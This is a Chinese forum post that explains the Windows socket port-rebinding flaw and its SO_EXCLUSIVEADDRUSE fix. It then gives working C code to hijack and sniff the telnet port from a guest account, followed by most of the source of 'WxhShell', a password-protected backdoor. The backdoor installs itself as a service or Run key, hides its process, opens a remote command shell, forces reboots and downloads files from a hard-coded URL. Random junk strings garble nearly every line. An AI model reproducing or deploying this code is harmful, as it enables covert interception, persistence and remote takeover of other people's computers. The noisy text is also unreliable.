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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ~2 ;y4%K  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ;G&O"S><]c  
Raqr VC  
  saddr.sin_family = AF_INET; ~a)2 0  
U.)eJ1a  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY);  7cQw?C  
ht!:e>z&4  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); goWt!,&f  
.SFwjriZ  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 j+v)I=  
X,Q(W0-6$u  
  这意味着什么?意味着可以进行如下的攻击: %j`]x -aOz  
imuHSxcaV  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ~.SU$  
49>yIuG  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) +eat,3Ji  
 %tjEVQa  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 2)H|/  
|0Kt@ AJY  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  O3^@"IY  
O$\N]#  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 L(YT6Vmm+t  
VJPPHJ[-  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 UcIR0BYa  
ku=q:ry O  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 zy5bDL -  
C u5 - w  
  #include 7k3\_BHyb\  
  #include A]slssE+  
  #include N* QI>kzU  
  #include    4^A'A.0  
  DWORD WINAPI ClientThread(LPVOID lpParam);   !b Km}1T  
  int main() <Z wEdq  
  { B W1O1zIh\  
  WORD wVersionRequested; v7RDoO]I  
  DWORD ret; TR;-xst@  
  WSADATA wsaData; eLWzd_ln  
  BOOL val; ![Y$[l  
  SOCKADDR_IN saddr; OTm"Iwzu@  
  SOCKADDR_IN scaddr; Ds$;{wl#x  
  int err; F U%b"gP^  
  SOCKET s; 6 >2! kM7  
  SOCKET sc; R 1\]Y  
  int caddsize; }'JPA&h|  
  HANDLE mt; /$Jh5Bv  
  DWORD tid;   f:>jH+o.S  
  wVersionRequested = MAKEWORD( 2, 2 ); Iu]P^8  
  err = WSAStartup( wVersionRequested, &wsaData ); HkCme_y"  
  if ( err != 0 ) { e&kg[jU  
  printf("error!WSAStartup failed!\n"); {643Dz<e  
  return -1; 'McVaPav  
  } T!AQJ:;1  
  saddr.sin_family = AF_INET; $~l :l[Zs  
   \>Q,AyL  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ul1Vsj  
+z_0?x  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); #YV;Gp(2h  
  saddr.sin_port = htons(23); P=GM7  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) / ffWmb_4  
  { EJsb{$u  
  printf("error!socket failed!\n"); ""=Vt]  
  return -1; NiF*h~ q  
  } n ~)%ou  
  val = TRUE; A1@a:P=  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 C.Yz<?;S  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) `W=JX2I  
  { eAEVpC2  
  printf("error!setsockopt failed!\n"); Ib C)F> Dq  
  return -1; $MR4jnTT  
  } :JmNy <  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Yy5F'RY  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 UKdzJEhG  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 GWsFW[T?~  
`,z{70  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) w ;O '6"  
  { a'r\e2/e?H  
  ret=GetLastError(); 2TO1i0  
  printf("error!bind failed!\n"); b(F`$N@7C  
  return -1; 0!T $Ef   
  } :/08}!_:  
  listen(s,2); K,Vl.-4?  
  while(1) p_D)=Ef|&  
  { 0&|-wduR=  
  caddsize = sizeof(scaddr); sT ONkd  
  //接受连接请求 hi%>&i*  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); {WChD&v  
  if(sc!=INVALID_SOCKET) ~V5jjx*  
  { Wh7nli7f_  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); %$U+?lk}  
  if(mt==NULL) {$JIR}4S  
  { }0o0"J-$  
  printf("Thread Creat Failed!\n"); NoT oLt\  
  break; %$Uw]a  
  } 'DPSM?]fA  
  } F~6[DqF\|  
  CloseHandle(mt); W0Vjs|/  
  } 78kk"9h'  
  closesocket(s); X|:O`b$G  
  WSACleanup(); $0 )K [K  
  return 0; @,hvXl-G*  
  }   `O F\f  
  DWORD WINAPI ClientThread(LPVOID lpParam) 43YusUv  
  { sj1x>  
  SOCKET ss = (SOCKET)lpParam; (]L=$u4  
  SOCKET sc; xo}hu %XL  
  unsigned char buf[4096]; @r<w|x}  
  SOCKADDR_IN saddr; !|]%^G  
  long num; bZ=d!)%P-{  
  DWORD val; G9]GK+@&F  
  DWORD ret; '?nhpT^  
  //如果是隐藏端口应用的话,可以在此处加一些判断 u<[Y6m  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   l%fl=i~oN  
  saddr.sin_family = AF_INET; ;iWCV& >w  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); W NCdk$  
  saddr.sin_port = htons(23); RN;Tqq):  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;)*Drk*t,  
  { V*)gJg  
  printf("error!socket failed!\n"); 6Yu8ReuL  
  return -1; q>?oV(sF  
  } :'03*A_[  
  val = 100; cVU[>gkg_  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) d+kIof,  
  { d] {^  
  ret = GetLastError(); X#fI$9a  
  return -1; Cs<d\"+  
  } $K hc?v  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5u8 YHv  
  { hhpH)Bi=  
  ret = GetLastError(); eG<32$I  
  return -1; i4l?q#X  
  } 6w' ^,V  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) D0~mu{;c$  
  {  I2b[  
  printf("error!socket connect failed!\n"); &WIPz\  
  closesocket(sc); !GO4cbdQ  
  closesocket(ss); N?aU<-Tn  
  return -1; K.k=\N  
  } !,]_tw>R  
  while(1) |&7l*j(\  
  { G'%mmA\  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 AO/R 2a(:  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 +%0+  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 8ARpjYZP  
  num = recv(ss,buf,4096,0); Q~`n%uYg\{  
  if(num>0) Oo,<zS=ICk  
  send(sc,buf,num,0); Pp?J5HW  
  else if(num==0) ,JR7N_"I  
  break; B<W{kEY  
  num = recv(sc,buf,4096,0); 2`x[y?Tn  
  if(num>0) 3a =KgOvp  
  send(ss,buf,num,0); ^z_~e@U  
  else if(num==0) FQ_4a}UOjX  
  break; ke/QFN-`  
  } 9G&l{7=  
  closesocket(ss); <)&;9C  
  closesocket(sc); 3K{'~?mM  
  return 0 ; 3]T2Zp&;  
  } SOd(& >  
mwBOhEefNJ  
IRLT -  
========================================================== <EJC.W WJa  
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下边附上一个代码,,WXhSHELL R/iXO~/"J  
SH"O<c Dp  
========================================================== jZ)1]Q2  
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#include "stdafx.h" 0q81H./3  
A^G%8 )\  
#include <stdio.h> z.FO6y6L  
#include <string.h> Vg0Rc t  
#include <windows.h> "gYn$4|R7*  
#include <winsock2.h> zXB.)4T  
#include <winsvc.h> 3(X"IoNQ  
#include <urlmon.h>  \:Q)Ef  
1aKY+4/G  
#pragma comment (lib, "Ws2_32.lib") -(dc1?COi  
#pragma comment (lib, "urlmon.lib") &GX pRo  
^+I{*0{/[  
#define MAX_USER   100 // 最大客户端连接数 26j ; RV  
#define BUF_SOCK   200 // sock buffer Y2}\~I0  
#define KEY_BUFF   255 // 输入 buffer Go8 m  
:\>@yCD  
#define REBOOT     0   // 重启 f$R]m2  
#define SHUTDOWN   1   // 关机 \ 7jK6;R<  
N,L$+wm  
#define DEF_PORT   5000 // 监听端口 C/!kMMh>vV  
nF]lSg&]X  
#define REG_LEN     16   // 注册表键长度 cZi/bIh  
#define SVC_LEN     80   // NT服务名长度 ftRf~5d2  
dG\dGSZ\h  
// 从dll定义API BTqY _9  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !CUrpr/*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~'n3],o?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); f/aSqhAW  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); a(QYc?u  
w(0's'  
// wxhshell配置信息 h?jKq2`  
struct WSCFG { ar }F^8Ku  
  int ws_port;         // 监听端口 +TL5yuA  
  char ws_passstr[REG_LEN]; // 口令 (U4]d`  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~m'PAC"Q$  
  char ws_regname[REG_LEN]; // 注册表键名 dL!PpLR$2  
  char ws_svcname[REG_LEN]; // 服务名 u.43b8!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 C0J/FFBQ^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 p{gJVP#l'Z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 U*b1yxt  
int ws_downexe;       // 下载执行标记, 1=yes 0=no .}C pX  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" yal T6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Qt` }$]  
P`0}( '"U  
}; @uXF(KDX  
Yv\>\?865  
// default Wxhshell configuration N$i!25F`  
struct WSCFG wscfg={DEF_PORT, { HHc} 8  
    "xuhuanlingzhe", jt=%oa  
    1, eT0Yp  
    "Wxhshell", c"~ +Y2]tL  
    "Wxhshell", J4EQhuQ  
            "WxhShell Service", Bu$Z+o  
    "Wrsky Windows CmdShell Service", EVX*YGxx6  
    "Please Input Your Password: ", 9mZ[SQf  
  1, (Rj'd>%c  
  "http://www.wrsky.com/wxhshell.exe", $DBJ"8n2  
  "Wxhshell.exe" >|IUjv2L  
    }; 0ZcvpR?G  
[z=KHk  
// 消息定义模块 sF[7pE  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <A"[Wk  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Xy0*1$IS]  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; SHWD@WLE4  
char *msg_ws_ext="\n\rExit."; +es|0;Z4yP  
char *msg_ws_end="\n\rQuit."; 9}G.Fr  
char *msg_ws_boot="\n\rReboot..."; AUBZ7*VO  
char *msg_ws_poff="\n\rShutdown..."; j S~W cu  
char *msg_ws_down="\n\rSave to "; DC+ p s  
@'P\c   
char *msg_ws_err="\n\rErr!"; /r2*le (H  
char *msg_ws_ok="\n\rOK!";  $I}7EI  
`3GYV|LeQ  
char ExeFile[MAX_PATH]; 3HCH-?U5  
int nUser = 0; <u`m4w  
HANDLE handles[MAX_USER]; Q0l[1;$#  
int OsIsNt; {{N*/ E^  
@~1}n/  
SERVICE_STATUS       serviceStatus; 3M~*4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; J?DJA2o  
4TX~]tEyky  
// 函数声明 Ts)ox}rYVm  
int Install(void); H+lBb$  
int Uninstall(void); (m:ktd=x  
int DownloadFile(char *sURL, SOCKET wsh); B bP&-c  
int Boot(int flag); <9Sg,ix't  
void HideProc(void); \?EnTu.  
int GetOsVer(void); qGivRDR$  
int Wxhshell(SOCKET wsl); 3;v%78[&P  
void TalkWithClient(void *cs); 'z\$.L  
int CmdShell(SOCKET sock); V[#eeH)/  
int StartFromService(void); /N=;3yWF  
int StartWxhshell(LPSTR lpCmdLine); 3Q;XvrGA  
ebv"`0K$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); KF!?; q0J  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); A*b>@>2  
T*pcS'?'  
// 数据结构和表定义 ,.6)y1!  
SERVICE_TABLE_ENTRY DispatchTable[] = :^bjn3b  
{ a]NH >d  
{wscfg.ws_svcname, NTServiceMain}, Ga,+  
{NULL, NULL} 2d:IYCl4q  
}; V d`}F0WD  
J2Y S+%K  
// 自我安装 4rDa Jd>,  
int Install(void) $e#V^dph  
{ 5,vw%F-m  
  char svExeFile[MAX_PATH]; 9S<g2v  
  HKEY key; pA?kv]l(  
  strcpy(svExeFile,ExeFile); Yl\p*j"Fid  
.0=VQU  
// 如果是win9x系统,修改注册表设为自启动 mssCnr;  
if(!OsIsNt) { u"hv _ml  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SyL:=NZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7gxC xfL$  
  RegCloseKey(key); Cr&,*lUo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =pa F6!AB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R%EpF'[~[  
  RegCloseKey(key); <36z,[,kZ@  
  return 0; yUY* l@v]  
    } w%'8bH!  
  } K (px-jY  
} LWX,u  
else { HE BKRpt  
jVdRy{MH  
// 如果是NT以上系统,安装为系统服务 ?mq<#/qb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); d$ f3 Cre  
if (schSCManager!=0) aWg*f*2f  
{ Z4VNm1qs  
  SC_HANDLE schService = CreateService md S`nhb  
  ( r P1FM1"M  
  schSCManager, zLt7jxx  
  wscfg.ws_svcname, SN<Dxa8Iy  
  wscfg.ws_svcdisp, |K(j XZ)  
  SERVICE_ALL_ACCESS, fg?4/]*T6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <13').F  
  SERVICE_AUTO_START, CT2L }5L&  
  SERVICE_ERROR_NORMAL, a Byetc88/  
  svExeFile, 9fhgCu]$  
  NULL, 8 o^ h\9I  
  NULL, | > t,1T.  
  NULL, ]:g;S,{  
  NULL, \A%s" O/  
  NULL 'O:QS)  
  ); x )w6  
  if (schService!=0) 0YsBAfRG  
  { nm}wdel"  
  CloseServiceHandle(schService); @hVF}ybp  
  CloseServiceHandle(schSCManager); GeydVT-  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); MGbl-,]  
  strcat(svExeFile,wscfg.ws_svcname); +!6dsnr8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]Oh8LcE#BF  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %G43g#pD  
  RegCloseKey(key); P-Up v6J3  
  return 0; b~Q8&z2  
    } qZ=%r u  
  } lk(.zYaaN  
  CloseServiceHandle(schSCManager); f#>ubmuI^  
} 31-:xUIX  
} w+_pq6\V  
]/cVlpZ{f  
return 1; N3U.62  
} Y(U+s\X  
;;{!wA+"D  
// 自我卸载 0D.qc8/V4.  
int Uninstall(void) l!7O2Ai5  
{ &i{>Li  
  HKEY key; 3*<?'O7I0  
5vSJjhS  
if(!OsIsNt) { |%HTBF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { aM6qYO!jA  
  RegDeleteValue(key,wscfg.ws_regname); FG @ ')N!g  
  RegCloseKey(key); rdBF+YN9/?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }<7S% ?TY  
  RegDeleteValue(key,wscfg.ws_regname); tgpg  
  RegCloseKey(key); %HWebZ-yY  
  return 0; 4Rv.m* ^B  
  } drkY~!a  
} bw[s<z|LKA  
} Z8xKg  
else { %V;B{?>9zB  
fBw"<J{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); d!z}! :  
if (schSCManager!=0) sc)}r_|g  
{ =F 9!)r  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); yd+.hg&J  
  if (schService!=0) ZOIx+%/Vd#  
  { ]Te,m}E  
  if(DeleteService(schService)!=0) { EG; y@\]  
  CloseServiceHandle(schService); oEN^O:9e  
  CloseServiceHandle(schSCManager); z7$,m#tw  
  return 0; ):5M +  
  } JIH6!  
  CloseServiceHandle(schService); W[4 V#&Z  
  } B3 NDx+%m  
  CloseServiceHandle(schSCManager); VxTrL}{(6  
} )Bo]+\2  
} 6-6ha7]s  
K@R * V  
return 1; 6aq=h`Y  
} Xub<U>e;b  
Z6\H4,k&  
// 从指定url下载文件 i+XHXpk  
int DownloadFile(char *sURL, SOCKET wsh) [PP &}.k4"  
{ d")TH3pG  
  HRESULT hr; 15dbM/Gj  
char seps[]= "/"; DGrk}   
char *token; mLb>*xt$b@  
char *file; [==x4N b  
char myURL[MAX_PATH]; )z=L^ot  
char myFILE[MAX_PATH]; hg Pzx@  
t,,W{M|E(  
strcpy(myURL,sURL); !U[/P6 +0  
  token=strtok(myURL,seps); S|pf.l  
  while(token!=NULL) /OtLIM+7~{  
  { Uw5AHq).  
    file=token; u !@(u!Qz  
  token=strtok(NULL,seps); RIV + _}R  
  } n~Qo@%Jr  
@F/yc  
GetCurrentDirectory(MAX_PATH,myFILE); mK_2VZj&  
strcat(myFILE, "\\"); :ND e<6?u  
strcat(myFILE, file); `E:&a]ul  
  send(wsh,myFILE,strlen(myFILE),0); /kH 7I  
send(wsh,"...",3,0); e?yrx6  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $ts1XIK%  
  if(hr==S_OK) ,(y6XUV~  
return 0; pr.+r?la]  
else 0hv}*NYd  
return 1; D@?Tq,= [  
>p?Vv0*  
} ^=@`U_(,G  
\.K4tY+V  
// 系统电源模块 7M,(!*b  
int Boot(int flag) rF\L}& Sw  
{ Q4e+vBECkq  
  HANDLE hToken; 2Y1y;hCK  
  TOKEN_PRIVILEGES tkp; p{0NKyOvU  
Tg_#z  
  if(OsIsNt) { &OXm^f)K  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {({Rb$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +rWcfXOHM  
    tkp.PrivilegeCount = 1; @|6#]&v`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $az9Fmta  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +"GBuNh  
if(flag==REBOOT) { bx._,G  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Z3qr2/  
  return 0; AQm#a;  
} cP2n,>:  
else { Cc}3@Nf{/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #w1E3ahaX  
  return 0; z{wZLqG  
} :D:Y-cG*n<  
  } FXG,D J:  
  else { =x3T+)qCNX  
if(flag==REBOOT) { ';zS0Yk  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) PFI^+';  
  return 0; &1Cif$Y4w  
}  sDl @  
else { 7?"-:q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8z)J rO}  
  return 0; K)N'~jCG  
} S=_*<[W%4  
} 8/"R&yAh  
WbJ  
return 1; JJ4w]Dd4  
} .Ge`)_e  
<pIel   
// win9x进程隐藏模块 2OZ<t@\OY  
void HideProc(void) L#MgoBXr  
{ 9+"ISXS  
`;)op3A'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %G/(7l[W  
  if ( hKernel != NULL ) pF<KhE*V  
  { `dJ?j[P,p  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1qm _Qs&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {xu~Dx  
    FreeLibrary(hKernel); IylfMwLC  
  } &1FyauH  
,Q,3^v-  
return; e !N%   
} Y,M 2 D  
b NR@d'U  
// 获取操作系统版本 2Kz407|'  
int GetOsVer(void) avy@)iO7  
{ on.m '-s  
  OSVERSIONINFO winfo; [Wn6d:  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #3}!Q0   
  GetVersionEx(&winfo); yi:1cLq2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1k!$#1d<  
  return 1; v-&@c  
  else F@<^  
  return 0; "sJ@_lp  
} }e-D&U  
ffG1QvC|M  
// 客户端句柄模块 Jix;!("  
int Wxhshell(SOCKET wsl) ODCv^4}9  
{ lS |:4U.  
  SOCKET wsh; Z+agS8e(  
  struct sockaddr_in client; icN#8\E  
  DWORD myID; R47tg&k6[  
1xjw=  
  while(nUser<MAX_USER) nJR(lXWO  
{ GsiT!OP]y  
  int nSize=sizeof(client); U.c~l,5%"  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); U"OA m}  
  if(wsh==INVALID_SOCKET) return 1; i?n#ge  
<(_${zR  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Gdv{SCV  
if(handles[nUser]==0) QRHM#v S  
  closesocket(wsh); cF}9ldc  
else Lm7fz9F%  
  nUser++; ~}g) N  
  } ?P"j5  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); e$N1m:1*  
I>:.fHvUC  
  return 0; ,~>u<Wc!S  
} Bxk2P<d  
N4w&g-  
// 关闭 socket Dpkc9~z  
void CloseIt(SOCKET wsh) g-<[* nF  
{ 5@EX,$h  
closesocket(wsh); V`xE&BI  
nUser--; u"-."_  
ExitThread(0); jBU!xCO  
} e_dsBmTh  
Ns6C xE9  
// 客户端请求句柄 \9k{h08s  
void TalkWithClient(void *cs) Z&5cJk W  
{ B&?xq)%*#  
9&Ny;oy#6  
  SOCKET wsh=(SOCKET)cs; AME<V-5  
  char pwd[SVC_LEN]; T;#:Y  
  char cmd[KEY_BUFF]; FB n . 4  
char chr[1]; Am=O-; b'8  
int i,j; ~QU\kZ7Z  
LsaRw-4.c  
  while (nUser < MAX_USER) { }0 =gP?.kE  
gsVm)mkd  
if(wscfg.ws_passstr) { [-h=L Jf#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [-2Tj)P C  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $o^N_`l  
  //ZeroMemory(pwd,KEY_BUFF); v2}>/b)  
      i=0; <zp|i#~  
  while(i<SVC_LEN) { S<>u  
s=1w6ZLD  
  // 设置超时 Atod&qH  
  fd_set FdRead; k!{h]D0  
  struct timeval TimeOut; c:,K{ZR  
  FD_ZERO(&FdRead); !CLL{\F  
  FD_SET(wsh,&FdRead); w"OeS;#e:  
  TimeOut.tv_sec=8; `sM^m`yE  
  TimeOut.tv_usec=0; M 9/J!s  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); YiC_,8A~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); a3^({;k!0  
.1h1J  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M3YC@(N% k  
  pwd=chr[0]; 8g6G},Y0  
  if(chr[0]==0xd || chr[0]==0xa) { `.YMbj#T  
  pwd=0; p"Q V| `  
  break; '/@i} digf  
  } ` W{y  
  i++; M~-jPY,+  
    } M (.Up  
C[nacAi  
  // 如果是非法用户,关闭 socket T9]:, z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); jo ~p#l.'  
} A~#w gLGn  
::!{f+Up  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &u0on) E  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s3oQ( wC %  
g/OL ^A  
while(1) { * NdL4c~  
yYvv!w+@Q  
  ZeroMemory(cmd,KEY_BUFF); PZhpp"  
bf$4Z: Y  
      // 自动支持客户端 telnet标准   fe7DS)U  
  j=0; zwdi$rM5  
  while(j<KEY_BUFF) { Q9sxI}D )R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \O+Hmi^  
  cmd[j]=chr[0]; ux1SQ8C*  
  if(chr[0]==0xa || chr[0]==0xd) { F/U38[  
  cmd[j]=0; GKf%dK L  
  break; tkf^sGgNO  
  } *Zz hN]1  
  j++; LAv!s/O$=  
    } Awlw6?   
5db9C}0  
  // 下载文件 S3&lkN5  
  if(strstr(cmd,"http://")) { Tw!_=zy(Gw  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); )X5en=[)O  
  if(DownloadFile(cmd,wsh))  ui1h M  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); fC!+"g55  
  else at5=Zo[bP  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I 2*\J)|f  
  } 0 A6% !h  
  else { $s!2D"wl n  
ZR@PqS+O/  
    switch(cmd[0]) { fz`\-"f]  
  ^26}8vt  
  // 帮助 "oo j;  
  case '?': { U$AV"F&!&}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _kJW/3eE  
    break; 992cy2,Fb  
  } .dl4f"k  
  // 安装 VT5o#NR{R  
  case 'i': { 'A#F< x  
    if(Install()) W,p?}KiO T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d9yfSZ  
    else E~'QC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wsyAq'%L  
    break; ewp&QH4  
    } l|'{Cb   
  // 卸载 88M$mjx  
  case 'r': { V] 0~BV  
    if(Uninstall()) +oRwXO3W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9{XC9 \~  
    else H\@@iK=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D+69U[P_A  
    break; <hM`]/J55  
    } rT{+ h}vO  
  // 显示 wxhshell 所在路径 +6+!M_0wA  
  case 'p': { qo62!q  
    char svExeFile[MAX_PATH]; )|CF)T-  
    strcpy(svExeFile,"\n\r"); DW.vu%j^[  
      strcat(svExeFile,ExeFile); pZO`18z  
        send(wsh,svExeFile,strlen(svExeFile),0); ,pMH`  
    break; H3qM8_GUA  
    } ]Z#=w  
  // 重启 *:hHlH* t1  
  case 'b': { Ph|\%P`>%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `dK%I  U  
    if(Boot(REBOOT)) '}.Z' %;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cR"?EQ] `N  
    else { k^v P|*eu  
    closesocket(wsh); n*vzp?+Y  
    ExitThread(0); 6 s1lf!  
    } si.w1  
    break; ";$rcg"%X  
    } 2#?qey  
  // 关机 tp3]?@0  
  case 'd': { j65qIw_Z  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); O0Sk?uJ <  
